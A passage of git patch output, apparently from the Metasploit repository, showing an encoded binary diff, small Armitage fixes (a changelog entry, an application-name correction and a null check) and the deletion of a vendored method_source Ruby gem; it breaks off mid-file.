zEe>~biu1~2&E7dfBX};q_sxXw(nOz_arp#`_;0B@@AqUCytuzhXcpJgwX9&uk0;$d z*F)DkbC(*;dw9e!VY(A{L&G)UY?B4f%SbN?nsK37U=}NTa>e;CYnjq<-Myj59CpT~ zRIfScQ+ke>GXF*Ov)(af(GdxBGn1myQER$c){QBWF^fWG@m6M)>Q9Kat7+2vedL?F z^89bQ(fK`Nt`E*U%oUVBsMZL&#B@BjCZNymZfInw?4uW{bIx5h58oAI8lAw`Uv+ka zxYNb@sxNBfvpA_V|%2Qq#|-?9TX= z(r|H^i-ByaZHm0nk<7wH(lwq}&Kl>HbQ1hK@_xG}uKB*Kb-&=a+2~hGXIhKBnIxw_ zChv3M!4}O!KVyY5iGAv+Z4o{f^!N0~)j0|t3)@n|555ld(aRT3GB?`Sk+}NCbI(Wq z3A^5?G;S?!3@RvG5xP!ia8XO6+3#O5d(;AtbW890wd&r4Uq-Kqdp$EAUD~sC59htz z$YoX~MN=F$cb2aT?I_yodn~-gpHxh%_kAk4t~k&<6FjS$9X2QL=k;>~RoPqIlTS_U zYpg!fk$JPavRzdW`bhSK^F0k)>uAeWY+inJfIl-+&TEO+hJb>?Uhidxo?Rz9KUEyK zzw`uo>{#Cok76lT!oF_(jv1|^<15emcBLPCq{b|C;h&#$DthT94OzXpN(^oF+Jk2w z7TuV4@cZbp@qE{x99-OMFjWJ_F^W_MQH@0NS=u+H~d#yf|C(AzhU>w71Z=;ub= zy7pDUFU6`ZJ!M63@Rkt4&kYvAf5ddx*vB$Q8NFPnRNm917B{$zA(s<6JcQYNgWpCZ@|GEB0F>zqTy32`29>g<8 zJa|y`e%fB&1IptMJ=e((6r2h+{pGm3x#QFK%Yzn&LwBCn9^4)wTQ$PFdc9Mo*jC>r z6Wj4}*Ej0@2(-<*^to2|;&HiypO(ZKzsxhcuG4ce$Z6WPtU&qJ-04TdpDHwk+NxWx zDgL#dv)xY0^jxTkTD>gu_*Y}IXEO#Cm3qF<2(lV;G^4r2;n4Pu#lHhe667vM6o9;g=s`dC9E$~&^^G$iC`^n7mD$89h=SHL%q;Cs2@Wk@b zW%iSv)#HE7KmJj!+F@)uTgpt#)zQTJYI=1*nx8^j^AR)ogH;7Onq3^>m00NZ<#XGE z6m79@w|fgFHS&%rZgN=UFd)04GkGpKohbVh>vpmCBXRnQ=EOCXKPQjv2$%l$)AhK* z&RZv*C2DWlF@I6}=Zu_W4_}j&$AUMu`WxR4Ka#m3ai{N@XmMSyJNYXIU%vnL{qi?S z$C2gdof96c?9x)1gQ1d2S2Og zOt@f5JJ-vw*j2}j-)cN_({|mq5QS=;r~W@9>n?pQKknP!-~2?UIdbvKcyXVimTw&4 z>eE%bPPgom*xc&fJ??wEv-u;XP4eTm%A9fAzbWm`ulRc@pm;rZ@NC(aSrBR`%@%-(orm-`}KFfR2sV*fxC(WW}ds*AB4}-(sq;{ln zweY*pnJn&d{K7Ms$K8g$TnmHmbHC!Qbq~3%XggOp^ELMmeodOuz%|F8x%YN)_u_XU z)-SFqw$dHsx{rX$2Ue?^!Gi}6bKz=Len<=?!TWUnJ>)4hgYSvezi0EA_yaucHh(2% z{O|IW@rT{r1^g=fS$Jk4AMRg5EA1kF7H&K*=C4KXe?q5f{u``3@+ChAn@7FjOX9}4 zMt(N#n%csL+j&rVek=baPS)xxznq3&+-&=4T`S>cojY*+%GVT{_Vc&l0EyrDEAgjc z85$9ZnRq$@_j;h09!cUb9)ulI1i*fkWeGLh#aAHk_JS}_g=ob(KI+6$tdpxr9KjA< zj0m_%3H@+J5zld>#e{f@8`ro*Ep9~c2)Ho}b*2zRHTGj*Nx0%Je=FiUZY;MU;O+|4 z(Hl*`9c$RA8cRsv#%l*cl8(#E3sX*d3d_?14Pyx{A=`<7+pkcy)0xn~s*)3k$GB1H zMr^{7+$RyLc-DQV5rtIj>BME!0A;g?USwS`o7jN2Q!M8Z)W(j+0%9-PSp)IQiK|G( z%a2gTkyflA{@}ebzd*tU8^x|A=Hs2FpBo4pykTRpg}9G5R{FLQO?VBy+(%qP3^)=_ zJiz`A5OBL0I^KAQc!3)eBM7*sc;6a)j3h?GAJ72PlLXqP09uKJ7AQJN>_nhB9)d+t zgg$b%CyGcwWLYdEolg-)2yiY#u*sy7-CjdO$+0=SqN=U_1q1SG?r=yPx;V9bmZ2&&Ezs^aJa2+%psPs2>AgU#LtsM^bgYm-m<;vIPN2pZXB?L>l$RE0 zOdyOzrNzL~^efs#=93K5OZ)wEQ&PT?~7luArO(moBI9Z((<$tIDsNT>LHB3YA8_#i!Q1|>s8 zvQi|CGb#OTBKcS(wXVVi2JLoSC8i?z4NwqA(8_9qyVj_~cS#V;Y92DV6*~B!2 z&t(%HNVa8D_SV;^yu(DYTqM41n2qe`T&MgeT&ME z=(8iq2?#fdq_H-I14Z(hHi;a9pCas}L-mJ?WSK}R>XH-w`B4qWh*SYVx}*uRjnk!K zy@fgmo9a<=ok-r$qxye}q@zBC_le{qk(4u__~{~f+JMB9@ZNyLlQ-IsbVmMn8d5nI z8B+ReBP!lBBMP4q$yXw&ZA`i%J3nKpKUE}qMAB*$#RrSz-BDB=nh9m+VM6sEHKF+D zCgfb?&&-tS-)KtZS7=I&y*QVWZd`I4(hC>iQZ9)nafBI(7u#Ypat7+pH6!t&Wbi2I z#iQy@;8Anh&7I!{y}pRFNzv-Y8AUC^0U^Gig(kJ z%7%Ckxa8C zXCcY3qx5Ink@FG0Zb#yaisWd@e*S1`zH&!X{zr@<@yYK$hKgG-hO$>4OWCa$OO0pF zSQ4MSGWOJX&$A~d;d7wQ{?v4Lu*4po1BLb^AI0por)siypvH8M19e`OI8ZgpjibhB zwn$zWNAVpZNjg$^n@ARjB+H57y+rb~NH#f9xs7%v=b`w~&Q#nt&LqB1YK*7W>ca74 z2)Yv2k0w>m0R3GgZ;t@O|X(zsYlmE-V-CAnNNF*ULO{w0OYYc>Vm zm8QzzRw0RYu0UBKsm0LwBw_~(Nwob06dsUTG%dh?K;lO}Zv+p6wIUda;3<&#fHcxU z;R@HiKXI2KCMM4o6I1>#npjd;4d{J98q7yZS;+~%*l^d%kPs7tsSW*03M(<@ifvl9 zarOG3O~lI0tNEJ(y(ZJ>$_(_Ib+iGueEhzbVpBCG#Keqb#l$#6mSQl#FR;Fd#1GJs zMKGxeAhU?X&l686*i}U0XAP-h*xLn06_eTvk;k@a<#rh|Vq$)V|Lc*p;J<9v_^sW% z>Hm{YO8=ysESSg$Sc~egeBOeK#Uy^ze}p1F1ntGt5VA`kYy-w6Bz|t6gy3wjvV_#d zLpZdj_y2hG0hdZBkLAc_E$A$vJjy>KydXTsfUwTb&tPE2zzgi786q#rnD6FJS6dxxI!t6>H+wrq&~J8H|<^n z4Nl7f)Bhbvcd)LMnwk^HW(&wDr4oOR;4ko@l=3M52tp;mdqho~CxQ#W>PPT&;A?~X zmGIiQSldhrlszK3^mY*=`xu^075Y@S-(z^`upLE#+mGRODThk|*(anO-P)W23!adp z={W=i(h;z*puq1ZIifyf1^NWUCVeRGrP_fO{p$0oTWy zao|#-{w0MakEaw~jyID9@#Qe-ORf~tR1ULgbEkmrGg2IAdYG|+{ZpuOW6}`K0zH$= zB*76xS9$(J%T6(q291dJnKnd^rMq|!0T$ThZN>uIxTFjqAHx7!rw_|*)pSbr>~xsh z^JmbL)GUgzpJm1YYSo0uE@;j$JHI)U7MKHzUjH20sVtxv_XTG1pa3zW7E#RHMNmh+ z0y18UDaNY;*1dcw1>!5@DNm|gqhEd>PC232egMvzO8m$O$s^Cpz zZ6r{rBH^EWM8W_Us$hV$D2n-11!rk;GzF$qL+~~Rxfuxxu9!)HlxotF-gNpOX0V#H zp&vc>4^wsy&V=17IGrW2!%7#%{-c%k0{Y%?;a}zg9B;e~wp<)$xANjYT1#q3D|%GY zKg_KfSh@4%f0*5u;p~>yzzm|V4D%FzWk^dN1iyrJZ%Q9x*x<=aSe^ORAx09cxe7h; zYtfu!|3mMpC9Ub5IsY)+>rfFF-CIj)(AVb<^+^Eo6`YOQoBuH3hLOnNiT=vtzzgl)%S@XX4=j=7 zX@dn#q#dJ#AwoBrNLz-BBu1t{t(oL9lvx<*faT4kBV&M#(MVv^OR9ob&7=l{W6T45 zW1bG;;Dj#E#z2+zzQQnaIXapSfmYbd`s$qXEr=0cw_aqxRtg% zj`V-|%>m=yk_+hzMkmufJ5*8UTmCO;ZkXEpuC2(!s~alBL#Gv zc=DjT6$ZUMo?=F~!PTBU0Rdfb4E}D2_72=@gO7>_JwaAGTrb>qxDs5aP#|OqPa528 zfK|PkIxM@#;A%U3o?`n@dOGjm4Pf$23T%A`FFkJH>O0b#Ru5<$@SUO3m+F#U4E=?6 zz>OCxHc>wtQ9;V~_9-cIYffTsUl&|tK4A!GgWFv&`jNdn zuwfrh2gr1j0><=x81X=0H=O(a{TOM3j`gG>bxSDkh7n3ZM>pw3O9i7pkkc52Q9RHT z#nT5FAE3>~7#=tg!_!5G1EfB}I@D5N%x8GBkElaH15Ex5mu<#pm_dCj5BzF{S$|R#aKLXwd3W-_ zx=x+}TFG3-;y*kP@&_s$fe6-`+Y2A*YnVWxA6_;VeIX@*9Lro1jQj%UQ&D<|wxu`7 zQGg?FE(P9q{avReU*O0Ef#xsp%_dc4NJShpshG=ySP7U#z*ktgP>t$4{}rCn1EAt7 zd<*Q>qd0ASb0un-%<6;QR)7tC@Ex+-NYra=E(0Fj{2TCziTS^$R36~;!xv#D4=JmH z4gK&`@FpnBJN=|JZ9e$i57&*P4aFU`GG_uu8(8AHZ?MFZ<0v}o8+?0qnlJ=pK*$8B zlfr`e+kS`nS56x0lLTwO!}pC5UjH!Dyv*64;XCx0Kb@j=e!wfMa2BBbgty$yKj4br zF`EJS(RG;cK=T5~$ALi#tXqC1eHwbz)-0qI|GDbGVRdmTkL z{f3W6$A81~e!`|9#(^HNWeA7^yFc*6O9=jliTDGjbTYXA2R@dR1BC(jU4Yz8_3s#f z%2W4HVD}z#t!NHR>cV?1>*+cu=yVtVr0RYL3qkt$9PnfaCNbj zvWAsdmj#-|1xi3B8#-!~g%OLghbi31rWD$;%|}oQSFR0HID3s!czg}c9KL%#X9^@h ziMT)=-ie#U1)g-5>y(PKgusr@xj_M^8`NpYrN91OaF z9eiR6RKWA^aOKWn3Al9GUlil`3x4D+y8iJAR`Xl_sGJUF1TTSBzWTn3&Rg` zZ65r8A5>~QL>for;L7a%;iqR~TQHdTxz@6uhHmbKu2OJW21t@yJ2?fDy`s))Q zQbC{w{b%k(q|@6piD_%P2YHh0;41r4E{ItFDdK+_@pY}p)X0=BVf6f)qLPx z&DR8v-9_bk=C3m!2g~Kc|0{vUkRd9U^AhVSgEJ!pO2|Vd@(}(;#BO{`DB%H{a-~Lg z2h6bndKvEFSffa{ppnl6q?!Pa+Bh}n#<@k*bw6F?=H{;7+KKS9)I{C?{Zux!73(U2 z&{nu~?uy)$K{vEf;JuoFi^pJSPameDIjoR=V4)6I6Rcp7I<$!aJJbaxTr|Wtx1QLx z91gJ#v>E=LWl)R|+q{}^p0Q+UAh_>Ns^Azir6hTJu*@-Vu!ifO1T+l+^#v&;adq%Q z_z`ZiX2oz8?sad99@ATwtVyM>aRLz6$wAk4!^jJ z0nWMt^yiacy)K*_pJ@bGKaJ16je>Hr5l0_~ffA);o3;R@4iRQNt>` zH;VxEvj`JV-$dZ^ZoVG$kTaVA6|)Hya9j`ig}V%~kcF=~xAg=T2!2FR7D(&E(S?xI zhc+jd6Ci6jp*-Yi17cnL2(ZMDu)$YOT-;s1RTm$?Pn$F0%kl8y=7P`qusG;Y*8uvT z0~`$C8biNHIA%WYvk9CPDR{Ds7?%GDu-iajjBHYn%?D5nZ4m52&r7=CpM2`9k$a6&W2h#FxzBUIG^Sk(bS9luWF qs*agT2PeSER)m!e|AY@0u8{!$EaNORrP%|ak-${4F%o_`7W+Sib&%8m diff --git a/data/armitage/whatsnew.txt b/data/armitage/whatsnew.txt index a7249cd52b..01a4364bfc 100755 --- a/data/armitage/whatsnew.txt +++ b/data/armitage/whatsnew.txt @@ -8,6 +8,11 @@ Armitage Changelog creating additional connections to server to balance messages over - Preferences are now shared among each Armitage connection. +6 Mar 13 (2000h) +-------- +- Fixed issue with additional team server connections reporting wrong + application and receiving a summary rejection by the team server. + Cortana Updates (for scripters) -------- - Added a &publish, &query, &subscribe API to allow inter-script diff --git a/external/source/armitage/scripts/armitage.sl b/external/source/armitage/scripts/armitage.sl index ec91b699e7..2df5fcf2a4 100644 --- a/external/source/armitage/scripts/armitage.sl +++ b/external/source/armitage/scripts/armitage.sl @@ -187,7 +187,7 @@ sub _connectToMetasploit { local('$x $cc'); for ($x = 0; $x < 6; $x++) { $cc = c_client($1, $2); - call($cc, "armitage.validate", $3, $4, $null, "cobaltstrike", 120326); + call($cc, "armitage.validate", $3, $4, $null, "armitage", 120326); push(@POOL, $cc); } } diff --git a/external/source/armitage/scripts/preferences.sl b/external/source/armitage/scripts/preferences.sl index fa42a7afc7..ec418f2c19 100644 --- a/external/source/armitage/scripts/preferences.sl +++ b/external/source/armitage/scripts/preferences.sl @@ -68,7 +68,10 @@ sub loadPreferences { else { [$prefs load: resource("resources/armitage.prop")]; } - [$__frame__ setPreferences: $prefs]; + + if ($__frame__ !is $null) { + [$__frame__ setPreferences: $prefs]; + } } # parse command line options here. diff --git a/external/source/armitage/whatsnew.txt b/external/source/armitage/whatsnew.txt index a7249cd52b..01a4364bfc 100644 --- a/external/source/armitage/whatsnew.txt +++ b/external/source/armitage/whatsnew.txt @@ -8,6 +8,11 @@ Armitage Changelog creating additional connections to server to balance messages over - Preferences are now shared among each Armitage connection. +6 Mar 13 (2000h) +-------- +- Fixed issue with additional team server connections reporting wrong + application and receiving a summary rejection by the team server. + Cortana Updates (for scripters) -------- - Added a &publish, &query, &subscribe API to allow inter-script From c639de7ccc2806110e30530aec1a689a8b293964 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Tue, 5 Mar 2013 12:33:37 -0600 Subject: [PATCH 423/448] fix a major typo snaffu --- .../1.9.1/gems/method_source-0.7.1/.gemtest | 0 .../gems/method_source-0.7.1/.travis.yml | 17 -- .../1.9.1/gems/method_source-0.7.1/.yardopts | 1 - .../1.9.1/gems/method_source-0.7.1/Gemfile | 2 - .../1.9.1/gems/method_source-0.7.1/LICENSE | 25 --- .../gems/method_source-0.7.1/README.markdown | 91 ---------- .../1.9.1/gems/method_source-0.7.1/Rakefile | 76 -------- .../method_source-0.7.1/lib/method_source.rb | 163 ------------------ .../lib/method_source/source_location.rb | 138 --------------- .../lib/method_source/version.rb | 3 - .../method_source-0.7.1/method_source.gemspec | 33 ---- .../gems/method_source-0.7.1/test/test.rb | 122 ------------- .../method_source-0.7.1/test/test_helper.rb | 50 ------ lib/msf/core/auxiliary/web/http.rb | 7 +- 14 files changed, 3 insertions(+), 725 deletions(-) delete mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/.gemtest delete mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/.travis.yml delete mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/.yardopts delete mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/Gemfile delete mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/LICENSE delete mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/README.markdown delete mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/Rakefile delete mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/lib/method_source.rb delete mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/lib/method_source/source_location.rb delete mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/lib/method_source/version.rb delete mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/method_source.gemspec delete mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/test/test.rb delete mode 100644 lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/test/test_helper.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/.gemtest b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/.gemtest deleted file mode 100644 index e69de29bb2..0000000000 diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/.travis.yml b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/.travis.yml deleted file mode 100644 index ba51bba6b2..0000000000 --- a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/.travis.yml +++ /dev/null @@ -1,17 +0,0 @@ -rvm: - - 1.8.7 - - 1.9.2 - - 1.9.3 - - ree - - rbx-18mode - - rbx-19mode - - jruby - -notifications: - irc: "irc.freenode.org#pry" - recipients: - - jrmair@gmail.com - -branches: - only: - - master diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/.yardopts b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/.yardopts deleted file mode 100644 index a4e7838016..0000000000 --- a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/.yardopts +++ /dev/null @@ -1 +0,0 @@ --m markdown diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/Gemfile b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/Gemfile deleted file mode 100644 index e45e65f871..0000000000 --- a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/Gemfile +++ /dev/null @@ -1,2 +0,0 @@ -source :rubygems -gemspec diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/LICENSE b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/LICENSE deleted file mode 100644 index d1a50d62d0..0000000000 --- a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/LICENSE +++ /dev/null @@ -1,25 +0,0 @@ -License -------- - -(The MIT License) - -Copyright (c) 2011 John Mair (banisterfiend) - -Permission is hereby granted, free of charge, to any person obtaining -a copy of this software and associated documentation files (the -'Software'), to deal in the Software without restriction, including -without limitation the rights to use, copy, modify, merge, publish, -distribute, sublicense, and/or sell copies of the Software, and to -permit persons to whom the Software is furnished to do so, subject to -the following conditions: - -The above copyright notice and this permission notice shall be -included in all copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND, -EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF -MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. -IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY -CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, -TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE -SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/README.markdown b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/README.markdown deleted file mode 100644 index d91b810a3b..0000000000 --- a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/README.markdown +++ /dev/null @@ -1,91 +0,0 @@ -method_source -============= - -(C) John Mair (banisterfiend) 2011 - -_retrieve the sourcecode for a method_ - -*NOTE:* This simply utilizes `Method#source_location`; it - does not access the live AST. - -`method_source` is a utility to return a method's sourcecode as a -Ruby string. Also returns `Proc` and `Lambda` sourcecode. - -Method comments can also be extracted using the `comment` method. - -It is written in pure Ruby (no C). - -* Some Ruby 1.8 support now available. -* Support for MRI, RBX, JRuby, REE - -`method_source` provides the `source` and `comment` methods to the `Method` and -`UnboundMethod` and `Proc` classes. - -* Install the [gem](https://rubygems.org/gems/method_source): `gem install method_source` -* Read the [documentation](http://rdoc.info/github/banister/method_source/master/file/README.markdown) -* See the [source code](http://github.com/banister/method_source) - -Example: display method source ------------------------------- - - Set.instance_method(:merge).source.display - # => - def merge(enum) - if enum.instance_of?(self.class) - @hash.update(enum.instance_variable_get(:@hash)) - else - do_with_enum(enum) { |o| add(o) } - end - - self - end - -Example: display method comments --------------------------------- - - Set.instance_method(:merge).comment.display - # => - # Merges the elements of the given enumerable object to the set and - # returns self. - -Limitations: ------------- - -* Occasional strange behaviour in Ruby 1.8 -* Cannot return source for C methods. -* Cannot return source for dynamically defined methods. - -Special Thanks --------------- - -[Adam Sanderson](https://github.com/adamsanderson) for `comment` functionality. - -[Dmitry Elastic](https://github.com/dmitryelastic) for the brilliant Ruby 1.8 `source_location` hack. - -[Samuel Kadolph](https://github.com/samuelkadolph) for the JRuby 1.8 `source_location`. - -License -------- - -(The MIT License) - -Copyright (c) 2011 John Mair (banisterfiend) - -Permission is hereby granted, free of charge, to any person obtaining -a copy of this software and associated documentation files (the -'Software'), to deal in the Software without restriction, including -without limitation the rights to use, copy, modify, merge, publish, -distribute, sublicense, and/or sell copies of the Software, and to -permit persons to whom the Software is furnished to do so, subject to -the following conditions: - -The above copyright notice and this permission notice shall be -included in all copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND, -EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF -MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. -IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY -CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, -TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE -SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/Rakefile b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/Rakefile deleted file mode 100644 index 92c0234f3b..0000000000 --- a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/Rakefile +++ /dev/null @@ -1,76 +0,0 @@ -dlext = Config::CONFIG['DLEXT'] -direc = File.dirname(__FILE__) - -require 'rake/clean' -require 'rake/gempackagetask' -require "#{direc}/lib/method_source/version" - -CLOBBER.include("**/*.#{dlext}", "**/*~", "**/*#*", "**/*.log", "**/*.o") -CLEAN.include("ext/**/*.#{dlext}", "ext/**/*.log", "ext/**/*.o", - "ext/**/*~", "ext/**/*#*", "ext/**/*.obj", "**/*.rbc", - "ext/**/*.def", "ext/**/*.pdb", "**/*_flymake*.*", "**/*_flymake") - -def apply_spec_defaults(s) - s.name = "method_source" - s.summary = "retrieve the sourcecode for a method" - s.version = MethodSource::VERSION - s.date = Time.now.strftime '%Y-%m-%d' - s.author = "John Mair (banisterfiend)" - s.email = 'jrmair@gmail.com' - s.description = s.summary - s.require_path = 'lib' - - s.add_development_dependency("bacon","~>1.1.0") - s.add_development_dependency("rake", "~>0.9") - s.homepage = "http://banisterfiend.wordpress.com" - s.has_rdoc = 'yard' - s.files = `git ls-files`.split("\n") - s.test_files = `git ls-files -- test/*`.split("\n") -end - -task :test do - sh "bacon -q #{direc}/test/test.rb" -end - -desc "reinstall gem" -task :reinstall => :gems do - sh "gem uninstall method_source" rescue nil - sh "gem install #{direc}/pkg/method_source-#{MethodSource::VERSION}.gem" -end - -desc "Set up and run tests" -task :default => [:test] - -namespace :ruby do - spec = Gem::Specification.new do |s| - apply_spec_defaults(s) - s.platform = Gem::Platform::RUBY - end - - Rake::GemPackageTask.new(spec) do |pkg| - pkg.need_zip = false - pkg.need_tar = false - end - - desc "Generate gemspec file" - task :gemspec do - File.open("#{spec.name}.gemspec", "w") do |f| - f << spec.to_ruby - end - end -end - -desc "build all platform gems at once" -task :gems => [:rmgems, "ruby:gem"] - -desc "remove all platform gems" -task :rmgems => ["ruby:clobber_package"] - -desc "build and push latest gems" -task :pushgems => :gems do - chdir("#{direc}/pkg") do - Dir["*.gem"].each do |gemfile| - sh "gem push #{gemfile}" - end - end -end diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/lib/method_source.rb b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/lib/method_source.rb deleted file mode 100644 index 9a3c325f75..0000000000 --- a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/lib/method_source.rb +++ /dev/null @@ -1,163 +0,0 @@ -# (C) John Mair (banisterfiend) 2011 -# MIT License - -direc = File.dirname(__FILE__) - -require "#{direc}/method_source/version" -require "#{direc}/method_source/source_location" - -module MethodSource - # Determine if a string of code is a valid Ruby expression. - # @param [String] code The code to validate. - # @return [Boolean] Whether or not the code is a valid Ruby expression. - # @example - # valid_expression?("class Hello") #=> false - # valid_expression?("class Hello; end") #=> true - def self.valid_expression?(str) - if defined?(Rubinius::Melbourne19) && RUBY_VERSION =~ /^1\.9/ - Rubinius::Melbourne19.parse_string(str) - elsif defined?(Rubinius::Melbourne) - Rubinius::Melbourne.parse_string(str) - else - catch(:valid) { - eval("BEGIN{throw :valid}\n#{str}") - } - end - true - rescue SyntaxError - false - end - - # Helper method responsible for extracting method body. - # Defined here to avoid polluting `Method` class. - # @param [Array] source_location The array returned by Method#source_location - # @return [File] The opened source file - def self.source_helper(source_location) - return nil if !source_location.is_a?(Array) - - file_name, line = source_location - File.open(file_name) do |file| - (line - 1).times { file.readline } - - code = "" - loop do - val = file.readline - code << val - - return code if valid_expression?(code) - end - end - end - - # Helper method responsible for opening source file and buffering up - # the comments for a specified method. Defined here to avoid polluting - # `Method` class. - # @param [Array] source_location The array returned by Method#source_location - # @return [String] The comments up to the point of the method. - def self.comment_helper(source_location) - return nil if !source_location.is_a?(Array) - - file_name, line = source_location - File.open(file_name) do |file| - buffer = "" - (line - 1).times do - line = file.readline - # Add any line that is a valid ruby comment, - # but clear as soon as we hit a non comment line. - if (line =~ /^\s*#/) || (line =~ /^\s*$/) - buffer << line.lstrip - else - buffer.replace("") - end - end - - buffer - end - end - - # This module is to be included by `Method` and `UnboundMethod` and - # provides the `#source` functionality - module MethodExtensions - - # We use the included hook to patch Method#source on rubinius. - # We need to use the included hook as Rubinius defines a `source` - # on Method so including a module will have no effect (as it's - # higher up the MRO). - # @param [Class] klass The class that includes the module. - def self.included(klass) - if klass.method_defined?(:source) && Object.const_defined?(:RUBY_ENGINE) && - RUBY_ENGINE =~ /rbx/ - - klass.class_eval do - orig_source = instance_method(:source) - - define_method(:source) do - begin - super - rescue - orig_source.bind(self).call - end - end - - end - end - end - - # Return the sourcecode for the method as a string - # (This functionality is only supported in Ruby 1.9 and above) - # @return [String] The method sourcecode as a string - # @example - # Set.instance_method(:clear).source.display - # => - # def clear - # @hash.clear - # self - # end - def source - if respond_to?(:source_location) - source = MethodSource.source_helper(source_location) - - raise "Cannot locate source for this method: #{name}" if !source - else - raise "#{self.class}#source not supported by this Ruby version (#{RUBY_VERSION})" - end - - source - end - - # Return the comments associated with the method as a string. - # (This functionality is only supported in Ruby 1.9 and above) - # @return [String] The method's comments as a string - # @example - # Set.instance_method(:clear).comment.display - # => - # # Removes all elements and returns self. - def comment - if respond_to?(:source_location) - comment = MethodSource.comment_helper(source_location) - - raise "Cannot locate source for this method: #{name}" if !comment - else - raise "#{self.class}#comment not supported by this Ruby version (#{RUBY_VERSION})" - end - - comment - end - end -end - -class Method - include MethodSource::SourceLocation::MethodExtensions - include MethodSource::MethodExtensions -end - -class UnboundMethod - include MethodSource::SourceLocation::UnboundMethodExtensions - include MethodSource::MethodExtensions -end - -class Proc - include MethodSource::SourceLocation::ProcExtensions - include MethodSource::MethodExtensions -end - diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/lib/method_source/source_location.rb b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/lib/method_source/source_location.rb deleted file mode 100644 index 9161854819..0000000000 --- a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/lib/method_source/source_location.rb +++ /dev/null @@ -1,138 +0,0 @@ -module MethodSource - module ReeSourceLocation - # Ruby enterprise edition provides all the information that's - # needed, in a slightly different way. - def source_location - [__file__, __line__] rescue nil - end - end - - module SourceLocation - module MethodExtensions - if Proc.method_defined? :__file__ - include ReeSourceLocation - - elsif defined?(RUBY_ENGINE) && RUBY_ENGINE =~ /jruby/ - require 'java' - - # JRuby version source_location hack - # @return [Array] A two element array containing the source location of the method - def source_location - to_java.source_location(Thread.current.to_java.getContext()) - end - else - - - def trace_func(event, file, line, id, binding, classname) - return unless event == 'call' - set_trace_func nil - - @file, @line = file, line - raise :found - end - - private :trace_func - - # Return the source location of a method for Ruby 1.8. - # @return [Array] A two element array. First element is the - # file, second element is the line in the file where the - # method definition is found. - def source_location - if @file.nil? - args =[*(1..(arity<-1 ? -arity-1 : arity ))] - - set_trace_func method(:trace_func).to_proc - call(*args) rescue nil - set_trace_func nil - @file = File.expand_path(@file) if @file && File.exist?(File.expand_path(@file)) - end - return [@file, @line] if File.exist?(@file.to_s) - end - end - end - - module ProcExtensions - if Proc.method_defined? :__file__ - include ReeSourceLocation - - elsif defined?(RUBY_ENGINE) && RUBY_ENGINE =~ /rbx/ - - # Return the source location for a Proc (Rubinius only) - # @return [Array] A two element array. First element is the - # file, second element is the line in the file where the - # proc definition is found. - def source_location - [block.file.to_s, block.line] - end - else - - # Return the source location for a Proc (in implementations - # without Proc#source_location) - # @return [Array] A two element array. First element is the - # file, second element is the line in the file where the - # proc definition is found. - def source_location - self.to_s =~ /@(.*):(\d+)/ - [$1, $2.to_i] - end - end - end - - module UnboundMethodExtensions - if Proc.method_defined? :__file__ - include ReeSourceLocation - - elsif defined?(RUBY_ENGINE) && RUBY_ENGINE =~ /jruby/ - require 'java' - - # JRuby version source_location hack - # @return [Array] A two element array containing the source 